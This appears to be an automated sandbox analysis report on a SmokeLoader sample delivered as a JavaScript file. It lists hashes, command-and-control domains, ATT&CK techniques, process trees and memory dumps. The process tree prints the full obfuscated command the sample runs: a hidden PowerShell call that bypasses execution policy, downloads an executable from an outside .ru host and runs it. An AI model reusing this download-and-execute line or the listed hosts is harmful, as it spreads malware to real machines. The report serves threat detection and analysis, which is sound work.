smokeloader | 24c7a1cec052e9f92013628100f19dd8b3f564c3bdaa2f8339a74e37146684c6

General

Target

file.js
Size

27KB
MD5

c25cf17b8ec2aab1ae5222db7fa83368
SHA1

2e78dc32dbac62df2ed6223813ea91b9b2de0ff4
SHA256

24c7a1cec052e9f92013628100f19dd8b3f564c3bdaa2f8339a74e37146684c6
SHA512

44cc5dd4b69faedc7e7c265dc70fa014622754f09758a0ae519aeb5c3d4f1a4be9cf2e43ee3903d77430328ea7af04d1bce5b0329c115e01afe01010d4df1148

Score

10^/10

smokeloader backdoor ransomware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://citycapproperty.ru/localmod/nmode.exe

Extracted

Family

smokeloader

Version

2020

C2

http://smbproperty.ru/

http://gmbshop.ru/

http://baksproperty.gov.ug/

http://magistralpsw.ru/

http://mpmanagertzz.ru/

http://powerglasspot.ru/

http://autopartswarehouses.ru/

http://memoloves.ru/

http://alfavanilin.ru/

rc4.i32

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

9 2944 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

TempwlS16.exe

pid process

3268 TempwlS16.exe
Loads dropped DLL 1 IoCs

Processes:

TempwlS16.exe

pid process

3268 TempwlS16.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

flow	pid	process
9	2944	powershell.exe

pid	process
3268	TempwlS16.exe

pid	process
3268	TempwlS16.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

TempwlS16.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	TempwlS16.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	TempwlS16.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	TempwlS16.exe

Suspicious behavior: EnumeratesProcesses 2521 IoCs

Processes:

powershell.exeTempwlS16.exe

pid	process
2944	powershell.exe
2944	powershell.exe
2944	powershell.exe
3268	TempwlS16.exe
3268	TempwlS16.exe
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Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

TempwlS16.exe

pid process

3268 TempwlS16.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2944 powershell.exe
Token: SeShutdownPrivilege 3028
Token: SeCreatePagefilePrivilege 3028
Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

3028

pid	process
3268	TempwlS16.exe

description	pid	process
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028

pid	process
3028

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 644 wrote to memory of 1880	644	wscript.exe	cmd.exe
PID 644 wrote to memory of 1880	644	wscript.exe	cmd.exe
PID 1880 wrote to memory of 2944	1880	cmd.exe	powershell.exe
PID 1880 wrote to memory of 2944	1880	cmd.exe	powershell.exe
PID 1880 wrote to memory of 3268	1880	cmd.exe	TempwlS16.exe
PID 1880 wrote to memory of 3268	1880	cmd.exe	TempwlS16.exe
PID 1880 wrote to memory of 3268	1880	cmd.exe	TempwlS16.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\file.js
1⤵
- Suspicious use of WriteProcessMemory
PID:644

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c pOwEr^shEll -ex^ecution^pol^icy b^ypa^ss -n^oprof^ile -w h^idd^en $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://citycapproperty.ru/localmod/nmode.exe','%temp%wlS16.exe'); & %temp%wlS16.exe & mtOiVwFENbWSfhv
2⤵
- Suspicious use of WriteProcessMemory
PID:1880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
pOwErshEll -executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://citycapproperty.ru/localmod/nmode.exe','C:\Users\Admin\AppData\Local\TempwlS16.exe');
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2944

C:\Users\Admin\AppData\Local\TempwlS16.exe
C:\Users\Admin\AppData\Local\TempwlS16.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3268

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

2

T1082

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\TempwlS16.exe
MD5
057887b52388981063d44ae2ffff29a7

SHA1
123ba07b28b49215d4d7b83fbf38cb2a9e0c8b56

SHA256
c65ea9eee506b0a71170d4e3778d3ccadda12f67217e89e3b93db61890ab548d

SHA512
3440dccd9e39a49b7f37943ccef70eff5bd1fe89c812b82b64df13ab9634f91b585a7d8ae723a94abd9a2c1938378c46a6beb581c1c6337ccefdd8b2c4c0ee5b

Download Submit
C:\Users\Admin\AppData\Local\TempwlS16.exe
MD5
057887b52388981063d44ae2ffff29a7

SHA1
123ba07b28b49215d4d7b83fbf38cb2a9e0c8b56

SHA256
c65ea9eee506b0a71170d4e3778d3ccadda12f67217e89e3b93db61890ab548d

SHA512
3440dccd9e39a49b7f37943ccef70eff5bd1fe89c812b82b64df13ab9634f91b585a7d8ae723a94abd9a2c1938378c46a6beb581c1c6337ccefdd8b2c4c0ee5b

Download Submit
\Users\Admin\AppData\Local\Temp\9419.tmp
MD5
50741b3f2d7debf5d2bed63d88404029

SHA1
56210388a627b926162b36967045be06ffb1aad3

SHA256
f2f8732ae464738372ff274b7e481366cecdd2337210d4a3cbcd089c958a730c

SHA512
fac6bfe35b1ee08b3d42d330516a260d9cdb4a90bbb0491411a583029b92a59d20af3552372ea8fb3f59442b3945bf524ef284127f397ae7179467080be8e9b3

Download Submit
memory/1880-2-0x0000000000000000-mapping.dmp

Download
memory/2944-6-0x000001F13E0A0000-0x000001F13E0A1000-memory.dmp

Filesize
4KB

Download
memory/2944-7-0x000001F1216C0000-0x000001F1216C2000-memory.dmp

Filesize
8KB

Download
memory/2944-8-0x000001F1216C3000-0x000001F1216C5000-memory.dmp

Filesize
8KB

Download
memory/2944-9-0x000001F1216C6000-0x000001F1216C8000-memory.dmp

Filesize
8KB

Download
memory/2944-5-0x000001F1231C0000-0x000001F1231C1000-memory.dmp

Filesize
4KB

Download
memory/2944-4-0x00007FFC34C00000-0x00007FFC355EC000-memory.dmp

Filesize
9.9MB

Download
memory/2944-3-0x0000000000000000-mapping.dmp

Download
memory/3028-17-0x0000000000870000-0x0000000000886000-memory.dmp

Filesize
88KB

Download
memory/3268-10-0x0000000000000000-mapping.dmp

Download
memory/3268-13-0x0000000003270000-0x0000000003271000-memory.dmp

Filesize
4KB

Download
memory/3268-16-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/3268-15-0x0000000000030000-0x000000000003A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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